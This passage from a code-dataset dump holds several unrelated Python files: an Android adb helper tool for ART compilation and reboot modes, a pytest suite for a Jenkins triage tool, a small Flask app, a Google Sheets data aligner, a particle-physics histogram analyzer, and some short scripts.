或更高版本,请谨慎对系统应用进行编译,特别是高危组件:\n com.android.systemui\n 已知问题: \n Android Q\n 1.MIUI Android Q编译系统应用会导致严重掉帧\n 2.Samsung OneUI 2.0+会出现开机无法进入桌面,系统全局黑屏的问题.\n 3.LG UX 9 会在锁屏时死机重启\n 4.com.android.systemui不支持通过手动安装还原!!!\n Android N / O\n 1.编译不显示进度\n 如果你是三星用户:推荐使用Galaxy Labs 的 App Booster,其原理为编译原理,且无安全风险\n 性能:everything>speed>[默认]speed-profile>quicken>[不编译]\n 编译耗时:everything>speed\n 空间占用:everything>speed>[默认]speed-profile>quicken>spacesave>[不编译]\n **********************************Compile*****************************************\n * (00).Back [Enter] *\n * (01).使用everything模式编译所有应用[系统,用户] (强制) *\n * (02).使用everything模式编译所有应用[系统,用户] *\n * (03).使用speed模式编译所有应用[系统,用户] (强制) *\n * (04).使用speed模式编译所有应用[系统,用户] *\n * 第一次编译优化,建议选择带有(强制)选项的方法 *\n * 对于小内存设备,低存储剩余的设备,emmc设备,推荐使用speed方法以减轻IO压力 *\n * Android N O P 推荐以上选项(01-04),Android Q推荐以下选项(05-08) *\n * (05).使用everything模式编译所有应用[用户] (强制) *\n * (06).使用everything模式编译所有应用[用户] *\n * (07).使用speed模式编译所有应用[用户] (强制) *\n * (08).使用speed模式编译所有应用[用户] *\n * 急救功能 *\n * (09).还原systemUI编译(quicken默认) ←推荐 *\n * (10).还原systemUI编译(speed默认) *\n * (11).还原systemUI编译(清除编译) *\n * (12).清除第三方应用编译 *\n * (13).清除系统应用编译 *\n * (14).清除第三方应用编译[quicken] *\n * (15).清除系统应用编译[quicken] * \n * (16).清除所有编译[quicken] *\n * (17).清除所有编译 *\n * Thanks: CoolApk User:后知 *\n **********************************Compile*****************************************\n !:输入01 与 1 效果是一致的.\n ''')\n try:a=int(input('您的选择>>>'))\n except:a=0\n print('执行该操作将消耗一定时间,请坐和放宽')\n start=datetime.datetime.now()\n print('当前时间: '+str(start))\n if a==1:self.adb.adb_shell().shell_cmd_compile('-m everything','-f','-a')\n if a==2:self.adb.adb_shell().shell_cmd_compile('-m everything','','-a')\n if a==3:self.adb.adb_shell().shell_cmd_compile('-m speed','-f','-a')\n if a==4:self.adb.adb_shell().shell_cmd_compile('-m speed','','-a') \n if a==9:self.adb.adb_shell().shell_cmd_compile('-m quicken','-f','com.android.systemui')\n if a==10:self.adb.adb_shell().shell_cmd_compile('-m speed','-f','com.android.systemui')\n if a==11:self.adb.shell('cmd package compile --reset com.android.systemui')\n if a==16:self.adb.adb_shell().shell_cmd_compile('-m quicken','-f','-a')\n if a==17:self.adb.shell('cmd package compile --reset -a')\n if a==5:\n self.adb.push('libshfile/compile-5.sh','/sdcard/temp.sh')\n self.adb.shell('su -c sh /sdcard/temp.sh')\n self.adb.shell('rm /sdcard/temp.sh')\n if a==6:\n self.adb.push('libshfile/compile-6.sh','/sdcard/temp.sh')\n self.adb.shell('su -c sh /sdcard/temp.sh')\n self.adb.shell('rm /sdcard/temp.sh')\n if a==7:\n self.adb.push('libshfile/compile-7.sh','/sdcard/temp.sh')\n self.adb.shell('su -c sh /sdcard/temp.sh')\n self.adb.shell('rm /sdcard/temp.sh')\n if a==8:\n self.adb.push('libshfile/compile-8.sh','/sdcard/temp.sh')\n self.adb.shell('su -c sh /sdcard/temp.sh')\n self.adb.shell('rm /sdcard/temp.sh')\n if a==12:\n self.adb.push('libshfile/compile-12.sh','/sdcard/temp.sh')\n self.adb.shell('su -c sh /sdcard/temp.sh')\n self.adb.shell('rm /sdcard/temp.sh')\n if a==13:\n self.adb.push('libshfile/compile-13.sh','/sdcard/temp.sh')\n self.adb.shell('su -c sh /sdcard/temp.sh')\n self.adb.shell('rm /sdcard/temp.sh')\n if a==14:\n self.adb.push('libshfile/compile-14.sh','/sdcard/temp.sh')\n self.adb.shell('su -c sh /sdcard/temp.sh')\n self.adb.shell('rm /sdcard/temp.sh')\n if a==15:\n self.adb.push('libshfile/compile-15.sh','/sdcard/temp.sh')\n self.adb.shell('su -c sh /sdcard/temp.sh')\n self.adb.shell('rm /sdcard/temp.sh')\n if a==0:return\n end=datetime.datetime.now()\n print('结束时间: '+str(end))\n print('执行用时: %s Seconds'%(end-start))\n def uninstall(self):\n apkfile=input('欲移除的程序包名(使用applist查看)>>>')\n args_=input('欲附加的参数>>>')\n if apkfile=='':\n errexit(4)\n return\n elif args_=='':\n self.adb.uninstall(apkfile)\n return\n self.adb.uninstall(apkfile,args_)\n def install(self):\n apkfile=input('欲安装的apk文件>>>')\n args_=input('欲附加的参数>>>')\n if apkfile=='':\n errexit(4)\n return\n elif args_=='':\n self.adb.install(apkfile=apkfile)\n return\n self.adb.install(apkfile,args_)\n def download(self):self.adb.reboot(5)\n def sideload(self):self.adb.reboot(4)\n def edl(self):self.adb.reboot(6)\n def rec(self):self.adb.reboot(3)\n def bl(self):self.adb.reboot(2)\n def shutdown(self):self.adb.reboot(1)\n def reboot(self):self.adb.reboot()\n def usb(self):self.adb.usb()\n def tcpipconnect(self):self.adb.tcpip()\n def devices(self):self.adb.devices()\n def kill_server(self):self.adb.kill_server()\n def start_server(self):self.adb.start_server()\n def root(self):self.adb.root()\n def shell(self):self.adb.shell()\n\nf=func_()\ndef parseinput(a=1):#1二级目录(adbmode) 2二级目录(othermode)\n global nowdevice,f,shellex\n adb=adbcommand(nowdevice)\n inputtext=input('>>>')\n #inputtext=inputtext.replace(\" \", \"\")\n global changes,github,version,builddate\n p=adbshellpyinformation.p\n adbfile=adbshellpyinformation.adbfile\n try:from adbshell_alpha import conf\n except:from adbshell import conf\n #通用指令\n if inputtext=='home':\n home()\n parseinput()\n return\n if inputtext == 'cls':\n clear()\n parseinput(a)\n return\n if inputtext == 'set':\n print('''\n **********************************Setmode*****************************************\n *setting(default,Enter) 设置参数 cls 清屏 back 回到上一菜单 exit 退出 *\n *您也可以通过手动编辑adbshell.ini来修改设置 *\n **********************************Setmode*****************************************\n ''')\n parseinput(2)\n return\n if inputtext =='exit':\n adb.kill_server()\n errexit(2)\n sys.exit(0)\n if inputtext =='environment':\n print('Version:'+version+' BuildDate:'+builddate+' Platform:'+p+' UpdateAddress:'+github+' AdbBin:'+adbfile)\n parseinput(a)\n return \n if a==1:#2级目录(adbmode)\n if inputtext == '':\n parseinput(1)\n return\n if inputtext=='kfmark':\n f.kfmark()\n parseinput(1)\n return \n if inputtext == 'icebox':\n f.icebox()\n parseinput(1)\n return\n if inputtext == 'relatedapk':\n f.relatedapk()\n parseinput(1)\n return \n if inputtext=='who':\n b=adb.s\n c=who()\n nowdevice=c\n adb=adbcommand(c)\n print('您当前的设备:'+b+'切换后的设备:'+c)\n parseinput(1)\n return\n if inputtext == 'back':\n print('E:您已处于主菜单!')\n parseinput(1)\n return\n if inputtext == 're-install':\n #重新安装\n install(p,2)\n parseinput(1)\n return\n if inputtext =='update':\n f.update()\n parseinput(0)\n return\n if inputtext =='changes':\n f.changes_()\n parseinput(1)\n return\n if inputtext=='piebridge':\n f.piebridge()\n parseinput(1)\n return\n if inputtext=='shizuku':\n f.shizuku()\n parseinput(1)\n return\n if inputtext=='push':\n f.push()\n parseinput(1)\n return\n if inputtext=='pull':\n f.pull()\n parseinput(1)\n return\n if inputtext=='screencap':\n f.screencap()\n parseinput(1)\n return\n if inputtext=='dumpsys':\n f.dumpsys()\n parseinput(1)\n return\n if inputtext=='settings':\n f.settings()\n parseinput(1)\n return\n if inputtext=='input':\n f.input()\n parseinput(1)\n return\n if inputtext=='windowmode':\n f.windowmode()\n parseinput(1)\n return\n if inputtext=='':\n parseinput(1)\n return\n if inputtext=='applist':\n f.applist()\n parseinput(1)\n return\n if inputtext=='clear':\n f.clear()\n parseinput(1)\n return\n if inputtext=='enable':\n f.enable()\n parseinput(1)\n return\n if inputtext=='disable':\n f.disable()\n parseinput(1)\n return\n if inputtext=='compile':\n f.compile()\n parseinput(1)\n return\n if inputtext=='uninstall':\n f.uninstall()\n parseinput(1)\n return\n if inputtext=='install':\n f.install()\n parseinput(1)\n return\n if inputtext=='download':\n adb.reboot(mode=5)\n parseinput(1)\n return\n if inputtext=='sideload':\n adb.reboot(mode=4)\n parseinput(1)\n return\n if inputtext=='bl':\n adb.reboot(mode=2)\n parseinput(1)\n return\n if inputtext=='rec':\n adb.reboot(mode=3)\n parseinput(1)\n return\n if inputtext=='shutdown':\n adb.reboot(mode=1)\n parseinput(1)\n return\n if inputtext=='reboot':#0 不带参数 1.-p 2.fastboot(bl) 3.recovery 4.sideload 5.挖煤\n adb.reboot()\n parseinput(1)\n return\n if inputtext=='usb':\n adbcommand.usb()\n parseinput(1)\n return\n if inputtext=='tcpipconnect':\n adbcommand.tcpip()\n parseinput(1)\n return\n if inputtext=='devices':\n adb.devices()\n parseinput(1)\n return\n if inputtext=='kill_server':\n adb.kill_server()\n parseinput(1)\n return\n if inputtext=='start_server':\n adb.start_server()\n parseinput(1)\n return\n if inputtext=='root':\n adb.root()\n parseinput(1)\n return\n if inputtext=='shell':\n adb.shell()\n parseinput(1)\n return\n if inputtext.lower()=='fixgithub':\n update().fixgithub()\n parseinput(1)\n return \n if inputtext=='back':\n parseinput(1)\n return\n if inputtext == 'help':\n adbshellpy_libhelper.helper().usage()\n adbshellpy_libhelper.main()\n parseinput(1)\n return\n if inputtext=='clean-data':\n print('清除adbshellpy的数据,以恢复原始安装.输入yes继续.')\n if input('>>>')=='yes':\n adb.kill_server()\n os.rmdir('adb')\n os.rmdir('__pycache__')\n os.rmdir('build-tools')\n os.remove('adbshell.ini')\n print('操作执行完成,请重新运行实例以初始化')\n input()\n sys.exit()\n if shellex=='enable':\n adb.shell(inputtext)\n parseinput(1)\n return \n if a==2:#2级目录(othermode)\n if inputtext =='back':\n parseinput(1)\n return\n if inputtext == 'setting' or inputtext == '':\n print('adbbin uselinuxpkgmanagertoinstalladb=enable [other]')\n print('[other]:'+str(conf.options('adbshell')))\n inputtext=input('欲设置的选项:[回车退出设置]>>>')\n if inputtext=='adbbin':\n inputtext=input('ADBFile:>>>')\n if os.path.exists(inputtext)== False:\n print('E:指定的ADB File不存在,请检查Path!')\n errexit(4)\n parseinput(2)\n return\n h=input('您确定设置此项吗?Y/N>>><默认为Y>')\n if h=='Y' or h=='y' or h=='':\n conf.set(\"adbshell\", \"adbfile\", inputtext)\n conf.write(open(\"adbshell.ini\", \"w\"))\n parseinput(2)\n return\n print('W:放弃设置')\n return\n if inputtext=='uselinuxpkgmanagertoinstalladb':\n if p == \"Windows\":\n print('E:该项仅对Linux生效')\n errexit(4)\n parseinput(2)\n return\n if p == \"Linux\":\n inputtext=input('Set:>>>[默认enable]')\n h=input('您确定设置此项吗?Y/N>>><默认为Y>')\n if h=='Y' or h=='y' or h=='':\n conf.set(\"adbshell\", \"uselinuxpkgmanagertoinstalladb\", inputtext)\n conf.write(open(\"adbshell.ini\", \"w\"))\n parseinput(2)\n return\n print('W:放弃设置')\n return\n if inputtext=='':\n parseinput(2)\n return\n #otherSet\n inputtext_=input('SET:>>>')\n h=input('您确定设置此项吗?Y/N>>><默认为Y>')\n if h=='Y' or h=='y' or h=='':\n conf.set(\"adbshell\", inputtext, inputtext_)\n conf.write(open(\"adbshell.ini\", \"w\"))\n parseinput(2)\n return\n parseinput(1)\n return\n errexit(2)\n print('W :未知指令')\n parseinput(a)\n return\n ","sub_path":"adbshellpy_home.py","file_name":"adbshellpy_home.py","file_ext":"py","file_size_in_byte":28628,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"615829375","text":"#\n# Tests for the module: uttriage.sfjenkins\n#\nimport logging\nimport mock\nimport os.path\n\nfrom six import StringIO\n\n# From the PyPi package(s): pytest pynumparser python-jenkin\nimport pytest\njenkins = pytest.importorskip(\"jenkins\")\npynumparser = pytest.importorskip(\"pynumparser\")\n\n# Test utilities\nfrom .tstutils import UrlFileShim\nfrom .tstutils import TempDirTestCase\nfrom .tstutils import OPENER_PATH\nfrom .tstutils import parser_error\nfrom .tstutils import ParserError\nfrom .tstutils import golden_file\n\n# Code under test\nfrom uttriage import triage_master\nfrom uttriage import utils\nfrom uttriage import bugreport\n\n\n@mock.patch('uttriage.bugreport.FB_DELAY', 0.1)\n@mock.patch('uttriage.bugreport.FB_RETRIES', 3)\n@mock.patch('uttriage.bugreport.FB_FALLBACK', 1.0)\nclass TestTriageMaster(TempDirTestCase):\n\n FJOB = 'fluorine_unittests'\n OJOB = 'oxygen-patch4_unittests'\n FARGS1 = ('1231415', '1232040-1232045', '1232171', '1232476', '1232620', '1232693')\n OARGS1 = ('94187', '94193', '94587', '94605', '95236', '95432', '95726', '96164')\n\n @classmethod\n def _expand(cls, *args):\n return list(pynumparser.NumberSequence().parse(\",\".join(args)))\n\n def copy_sample_config(self):\n # Test that the config sample is okay.\n src = os.path.join(os.path.dirname(utils.__file__), 'triage_master.cfg.sample')\n trg = os.path.join(self.temp_dir, 'triage_master.cfg')\n with open(src, 'rb') as infile:\n with open(trg, 'wb') as outfile:\n outfile.write(infile.read())\n\n @mock.patch('argparse.ArgumentParser.error', parser_error)\n def test_parser_errors(self):\n logging.info('Config Directory: \"%s\"', utils.CONFIG_DIRECTORY)\n with self.assertRaises(ParserError) as raised:\n parser, opts = triage_master.parse_args(['progname'])\n assert ('too few arguments', ) == raised.exception.args\n\n def test_build_list(self):\n self.copy_sample_config()\n arguments = (\"triage_master.py -PUN -BD\".split() + [self.FJOB] + list(self.FARGS1) +\n [self.OJOB] + list(self.OARGS1))\n parser, opts = triage_master.parse_args(arguments)\n builds = triage_master.determine_builds(opts, parser)\n logging.info(\"Builds: %s\", builds)\n expected = {self.FJOB: self._expand(*self.FARGS1), self.OJOB: self._expand(*self.OARGS1)}\n assert expected == dict(builds)\n\n @mock.patch('jenkins.Jenkins.jenkins_open', UrlFileShim('triage', 2))\n @mock.patch('argparse.ArgumentParser.error', parser_error)\n @mock.patch(OPENER_PATH, UrlFileShim('triage', 3, check_requests=True))\n def test_dryrun1(self):\n self.copy_sample_config()\n arguments = (\"triage_master.py -PUBD\".split() + [self.FJOB] + list(self.FARGS1) +\n [self.OJOB] + list(self.OARGS1))\n parser, opts = triage_master.parse_args(arguments)\n builds = triage_master.determine_builds(opts, parser)\n capture = StringIO()\n report = utils.Reporter(capture)\n dt = bugreport.DefectTracker()\n actions = triage_master.analyze_job_outputs(dt, opts, parser, builds, report)\n\n expect = ['BasicHttpServerCase.JsonFile/fluorine',\n 'CloningIntegrationFastFailCase.MigrateDestPrimary/fluorine',\n 'ConnectionMonitorCase.MultipleFailure/oxygen',\n 'ConnectionMonitorCase.MultipleTimeout/oxygen',\n 'ConnectionMonitorCase.SuccessAndFailure/oxygen']\n skeys = sorted(actions.keys())\n assert expect == skeys\n assert [1, 1, 1, 1, 2] == [len(actions[k]) for k in skeys]\n\n triage_master.summarize_failures(opts, actions, report)\n bugdata = triage_master.query_existing_bugs(dt, opts, parser, builds, actions, report)\n triage_master.update_or_create_bugs(dt, opts, parser, builds, bugdata, report)\n triage_master.send_email_and_report(opts, report, builds)\n\n email = report.get_email_summary()\n expected = golden_file('triage/dryrun1-email.txt')\n assert expected == email\n\n output = capture.getvalue()\n expected = golden_file('triage/dryrun1-report.txt')\n print(\"EXP = <<<<<{}\\n>>>>>\".format(expected))\n print(\"OUT = <<<<<{}\\n>>>>>\".format(output))\n assert expected == output\n\n @mock.patch('jenkins.Jenkins.jenkins_open', UrlFileShim('triage', 2))\n @mock.patch('argparse.ArgumentParser.error', parser_error)\n @mock.patch(OPENER_PATH, UrlFileShim('triage', 3, 200, check_requests=True))\n def test_dryrun2(self):\n self.copy_sample_config()\n arguments = \"triage_master.py --doit --keep -PBDt oxygen_unittests 837216 837218\".split()\n\n parser, opts = triage_master.parse_args(arguments)\n builds = triage_master.determine_builds(opts, parser)\n capture = StringIO()\n report = utils.Reporter(capture)\n dt = bugreport.DefectTracker()\n actions = triage_master.analyze_job_outputs(dt, opts, parser, builds, report)\n results = sorted(actions.keys())\n print(\"RESULTS: \" + str(results))\n expected = golden_file('triage/dryrun2-actions.keys', asJSON=True)\n assert expected == results\n\n triage_master.summarize_failures(opts, actions, report)\n bugdata = triage_master.query_existing_bugs(dt, opts, parser, builds, actions, report)\n\n triage_master.update_or_create_bugs(dt, opts, parser, builds, bugdata, report)\n triage_master.send_email_and_report(opts, report, builds)\n\n email = report.get_email_summary()\n expected = golden_file('triage/dryrun2-email.txt')\n assert expected == email\n\n output = capture.getvalue()\n print(\"OUTPUT = @@@<<{}>>@@@\".format(output))\n expected = golden_file('triage/dryrun2-report.txt')\n assert expected == output\n","sub_path":"matilda_scripts/unittests/test_uttriage/test_triage_master.py","file_name":"test_triage_master.py","file_ext":"py","file_size_in_byte":5830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"594184430","text":"from flask import Flask\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_restful import Api\nfrom flask_cors import CORS\nimport os\n\napp = Flask(__name__)\napi = Api(app)\napp.config['SQLALCHEMY_DATABASE_URI'] = 'mysql://' + os.getenv(\"MYSQL_DATABASE_USER\") + ':' + os.getenv(\n \"MYSQL_DATABASE_PASSWORD\") + '@' + os.getenv(\"MYSQL_DATABASE_HOST\") + '/advertisement_manager'\ndb = SQLAlchemy(app)\ndb.Model.metadata.reflect(bind=db.engine,schema=\"advertisement_manager\")\n\nCORS(app)\ncors = CORS(app, resources={\n r\"/*\": {\n \"origins\": \"*\"\n }\n})\n\nclass AdvertisementsModel(db.Model):\n __table__ = db.Model.metadata.tables['advertisement_manager' + '.advertisements']\n\nfrom advertisements import Advertisements\n\napi.add_resource(Advertisements, '/advertisements')","sub_path":"api/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":772,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"109080445","text":"# -*- coding: utf8 -*-\n\nimport webapp2\n\nfrom workers.mm.atm_worker import AtmTaskWorker\nfrom workers.mm.bank_worker import BankTaskWorker\n\n__all__ = (\n 'application',\n)\n\n\nBASE_URL = '/workers/mm'\n\napplication = webapp2.WSGIApplication([\n (BASE_URL + '/atm/', AtmTaskWorker),\n (BASE_URL + '/bank/', BankTaskWorker),\n], debug=False)\n","sub_path":"workers/mm/mm.py","file_name":"mm.py","file_ext":"py","file_size_in_byte":340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"83749703","text":"numbers = input(\"Podaj Liczby, odzielajac je przecinkiem: \")\na = numbers.split(\",\")\nresult = []\nfor i in a:\n i = int(i)\n k = 1\n for j in range(1, i + 1):\n k = k * j\n result.append(str(k))\n\nresult = \",\".join(result)\nprint(result)\n","sub_path":"exercises/ex2.py","file_name":"ex2.py","file_ext":"py","file_size_in_byte":248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"540769645","text":"import threading\r\nimport time\r\nimport gspread\r\nimport httplib2\r\nimport os\r\nimport time\r\nimport concurrent.futures\r\nimport traceback\r\n\r\nfrom oauth2client.service_account import ServiceAccountCredentials\r\nfrom apiclient import discovery\r\nfrom oauth2client import client\r\nfrom oauth2client import tools\r\nfrom oauth2client.file import Storage\r\n\r\nauthorization_thread_lock = threading.Lock()\r\ndata_thread_lock = threading.Lock()\r\n\r\nsave_file = open(\"failedCells.txt\", \"w+\")\r\nx = 0\r\n\r\nfailed_cells = []\r\n\r\ndef authenticate_with_sheets():\r\n scope = ['https://spreadsheets.google.com/feeds',\r\n 'https://www.googleapis.com/auth/drive']\r\n creds = ServiceAccountCredentials.from_json_keyfile_name('client_secret.json', scope)\r\n client = gspread.authorize(creds)\r\n\r\n http = creds.authorize(httplib2.Http())\r\n discoveryUrl = ('https://sheets.googleapis.com/$discovery/rest?'\r\n 'version=v4')\r\n service = discovery.build('sheets', 'v4', http=http,\r\n discoveryServiceUrl=discoveryUrl)\r\n\r\n spread_sheet = client.open('CME Dairy Futures History')\r\n\r\n authenticate_with_sheets.organized_sheet = spread_sheet.worksheet('DRY WHEY ORGANIZED')\r\n authenticate_with_sheets.dry_whey_sheet = spread_sheet.worksheet('DRY WHEY NO APO')\r\n\r\ndef get_date(cell_col, cell_row, sheet):\r\n cell_val = sheet.cell(cell_row, cell_col).value\r\n\r\n year = sheet.cell(3, cell_col).value\r\n\r\n if cell_col <= 12:\r\n day_month = sheet.cell(cell_row, 1).value\r\n elif cell_col >= 15 and cell_col <= 25:\r\n day_month = sheet.cell(cell_row, 14).value\r\n elif cell_col >= 28 and cell_col <= 38:\r\n day_month = sheet.cell(cell_row, 27).value\r\n elif cell_col >= 41 and cell_col <= 52:\r\n day_month = sheet.cell(cell_row, 40).value\r\n elif cell_col >= 55 and cell_col <= 66:\r\n day_month = sheet.cell(cell_row, 54).value\r\n elif cell_col >= 69 and cell_col <= 80:\r\n day_month = sheet.cell(cell_row, 68).value\r\n elif cell_col >= 83 and cell_col <= 94:\r\n day_month = sheet.cell(cell_row, 82).value\r\n elif cell_col >= 97 and cell_col <= 108:\r\n day_month = sheet.cell(cell_row, 96).value\r\n elif cell_col >= 111 and cell_col <= 122:\r\n day_month = sheet.cell(cell_row, 110).value\r\n elif cell_col >= 125 and cell_col <= 136:\r\n day_month = sheet.cell(cell_row, 124).value\r\n elif cell_col >= 139 and cell_col <= 150:\r\n day_month = sheet.cell(cell_row, 138).value\r\n elif cell_col >= 153 and cell_col <= 163:\r\n day_month = sheet.cell(cell_row, 152).value\r\n\r\n date = str(day_month) + \"-\" + str(year)\r\n return_val_with_date = date + \", \" + cell_val\r\n\r\n return date\r\n\r\ndef get_contract(cell_col, cell_row, sheet):\r\n\r\n contract = \"N/A\"\r\n column = None\r\n\r\n if cell_col <= 12:\r\n contract = \"jan\"\r\n column = 2\r\n elif cell_col >= 15 and cell_col <= 25:\r\n contract = \"feb\"\r\n column = 3\r\n elif cell_col >= 28 and cell_col <= 38:\r\n contract = \"mar\"\r\n column = 4\r\n elif cell_col >= 41 and cell_col <= 52:\r\n contract = \"apr\"\r\n column = 5\r\n elif cell_col >= 55 and cell_col <= 66:\r\n contract = \"may\"\r\n column = 6\r\n elif cell_col >= 69 and cell_col <= 80:\r\n contract = \"jun\"\r\n column = 7\r\n elif cell_col >= 83 and cell_col <= 94:\r\n contract = \"jul\"\r\n column = 8\r\n elif cell_col >= 97 and cell_col <= 108:\r\n contract = \"aug\"\r\n column = 9\r\n elif cell_col >= 111 and cell_col <= 122:\r\n contract = \"sep\"\r\n column = 10\r\n elif cell_col >= 125 and cell_col <= 136:\r\n contract = \"oct\"\r\n column = 11\r\n elif cell_col >= 139 and cell_col <= 150:\r\n contract = \"nov\"\r\n column = 12\r\n elif cell_col >= 153 and cell_col <= 163:\r\n contract = \"dec\"\r\n column = 13\r\n\r\n return column\r\n\r\ndef align_data(i):\r\n\r\n try:\r\n #with data_thread_lock:\r\n contract = get_contract(i.col, i.row, authenticate_with_sheets.dry_whey_sheet)\r\n if not i.value == \"\" and not contract == 0:\r\n new_col = contract\r\n new_date = get_date(i.col, i.row, authenticate_with_sheets.dry_whey_sheet)\r\n\r\n else:\r\n print(\"\\nWorker: \\t{}\\nEmpty cell skipped: \".format(threading.current_thread().name) + str(i.col) + \" \" + str(i.row) + \"\\n\")\r\n return\r\n\r\n except Exception:\r\n print (\"Got an error.\")\r\n traceback.print_exc()\r\n save_file.write(str(i) + \"\\n\")\r\n failed_cells.append(str(i))\r\n\r\n else:\r\n try:\r\n corresponding_cell = authenticate_with_sheets.organized_sheet.find(new_date)\r\n\r\n except Exception:\r\n print(\"\\n\\nWorker: \\t{}\\nError searching sheet. Gaining new authentication.\\n\\n\\n\".format(threading.current_thread().name))\r\n #with authorization_thread_lock:\r\n authenticate_with_sheets()\r\n save_file.write(str(i) + \"\\n\")\r\n failed_cells.append(str(i))\r\n\r\n else:\r\n new_row = corresponding_cell.row\r\n\r\n print(\"Worker: \\t{}\\nColumn: \\t{}\\nRow: \\t\\t{}\\nNew Date: \\t{}\\nNew Contract: \\t{}\\nNew Value: \\t{}\\n\".format(threading.current_thread().name, str(new_col), str(new_row), str(new_date), str(contract), str(i.value)))\r\n\r\n try:\r\n authenticate_with_sheets.organized_sheet.update_cell(new_row, new_col, i.value)\r\n\r\n except Exception:\r\n print(\"\\n\\nWorker: \\t{}\\nError updating sheet. Gaining new authentication.\\n\\n\\n\".format(threading.current_thread().name))\r\n #with authorization_thread_lock:\r\n authenticate_with_sheets()\r\n save_file.write(str(i) + \"\\n\")\r\n failed_cells.append(str(i))\r\n\r\ndef execute():\r\n with concurrent.futures.ThreadPoolExecutor(max_workers=3) as executor:\r\n result = executor.map(align_data, authenticate_with_sheets.dry_whey_sheet.range('B121:FG366'))\r\n","sub_path":"VaultAligner.py","file_name":"VaultAligner.py","file_ext":"py","file_size_in_byte":5960,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"95860048","text":"\nimport cherrypy\n\nfrom confighelper import ConfigHelper\n\ndef render_standard_response(template_name):\n template = cherrypy.request.app.jinjaEnv.get_template(template_name)\n \n # Assemble the template context\n args = {}\n \n if ConfigHelper.use_minified_scripts():\n args['use_minified_js'] = True\n \n return template.render(**args)\n","sub_path":"src/www/lib/pagehelper.py","file_name":"pagehelper.py","file_ext":"py","file_size_in_byte":358,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"536106138","text":"import ROOT\n\nimport os\n\nfrom FinalStateAnalysis.PlotTools.megautil import MetaTree\nfrom FinalStateAnalysis.PlotTools.MegaBase import MegaBase\n\nmeta = MetaTree()\n\nbase_selections = [\n meta.muon1Pt > 20,\n meta.muon2Pt > 10,\n\n meta.tauDecayFinding > 0.5,\n meta.tauPt > 20,\n\n #meta.mu17ele8 > 0.5,\n meta.tauAbsEta < 2.3,\n meta.muon1AbsEta < 2.1,\n meta.muon2AbsEta < 2.1,\n\n meta.muGlbIsoVetoPt10 < 1,\n meta.eVetoCicTightIso < 1,\n meta.bjetVeto < 1,\n meta.tauVetoPt20 < 1,\n\n meta.muon1PixHits > 0,\n meta.muon2PixHits > 0,\n meta.muon1JetBtag < 3.3,\n meta.muon2JetBtag < 3.3,\n\n meta.muon2DZ < 0.2,\n meta.muon1DZ < 0.2,\n meta.tauDZ < 0.2,\n\n meta.tauJetBtag < 3.3,\n meta.tauAntiElectronMVA > 0.5,\n meta.tauAntiElectronMedium > 0.5,\n meta.tauElecOverlap < 0.5,\n meta.tauAntiMuonTight > 0.5,\n meta.tauMuOverlap < 0.5,\n]\n\n\nhadronic_tau_id = [\n meta.tauLooseIso > 0.5,\n]\n\nmuon2_id = [\n meta.muon2RelPFIsoDB < 0.3,\n meta.muon2WWID > 0.5,\n]\n\nmuon1_id = [\n meta.muon1RelPFIsoDB < 0.3,\n meta.muon1WWID > 0.5,\n]\n\nhistograms = [\n (lambda x: x.muon1Pt, 'muon1Pt', 'muon1 pt', 100, 0, 100),\n (lambda x: x.muon1AbsEta, 'muon1AbsEta', 'muon1 |#eta|', 100, 0, 100),\n]\n\ndef muon1_fake_weight(x):\n return 1\ndef muon2_fake_weight(x):\n return 1\n\nclass AnalyzeMMT(MegaBase):\n\n def __init__(self, tree, output, **kwargs):\n super(AnalyzeMMT, self).__init__(tree, output, **kwargs)\n for histogram in histograms:\n self.book('muon1_fakes', *histogram[1:])\n self.book('muon2_fakes', *histogram[1:])\n self.book('double_fakes', *histogram[1:])\n self.book('triple_fakes', *histogram[1:])\n # Histograms w/o weights\n self.book('muon1_fakes_nowt', *histogram[1:])\n self.book('muon2_fakes_nowt', *histogram[1:])\n self.book('double_fakes_nowt', *histogram[1:])\n self.book('triple_fakes_nowt', *histogram[1:])\n self.book('final', *histogram[1:])\n self.disable_branch('*')\n for b in meta.active_branches():\n self.enable_branch(b)\n\n def process(self, entry):\n tree = self.tree\n read = tree.GetEntry(entry)\n\n # Check if we pass the base selection\n if not all(select(tree) for select in base_selections):\n return True\n\n # figure out which objects pass\n passes_tau_id = all(select(tree) for select in hadronic_tau_id)\n passes_muon1_id = all(select(tree) for select in muon1_id)\n passes_muon2_id = all(select(tree) for select in muon2_id)\n\n category = (passes_muon1_id, passes_muon2_id, passes_tau_id)\n\n if category == (True, True, True):\n for histo in histograms:\n value = histo[0](tree)\n self.histograms[os.path.join('final', histo[1])].Fill(value)\n elif category == (False, True, True):\n for histo in histograms:\n value = histo[0](tree)\n self.histograms[\n os.path.join('muon1_fakes_nowt', histo[1])].Fill(value)\n weight = muon1_fake_weight(tree.muon1Pt)\n self.histograms[\n os.path.join('muon1_fakes', histo[1])].Fill(value, weight)\n elif category == (True, False, True):\n for histo in histograms:\n value = histo[0](tree)\n self.histograms[\n os.path.join('muon2_fakes_nowt', histo[1])].Fill(value)\n weight = muon2_fake_weight(tree.muon2Pt)\n self.histograms[\n os.path.join('muon2_fakes', histo[1])].Fill(value, weight)\n elif category == (False, False, True):\n for histo in histograms:\n value = histo[0](tree)\n self.histograms[\n os.path.join('double_fakes_nowt', histo[1])].Fill(value)\n weight = muon2_fake_weight(tree.muon2Pt)*muon1_fake_weight(tree.muon1Pt)\n self.histograms[\n os.path.join('double_fakes', histo[1])].Fill(value, weight)\n\n return True\n\n def finish(self):\n self.write_histos()\n","sub_path":"Higgs/test/zh/AnalyzeMMT.py","file_name":"AnalyzeMMT.py","file_ext":"py","file_size_in_byte":4186,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"351062007","text":"#!/usr/bin/env python\n#-*- coding: utf-8 -*-\n\nimport gym\nfrom 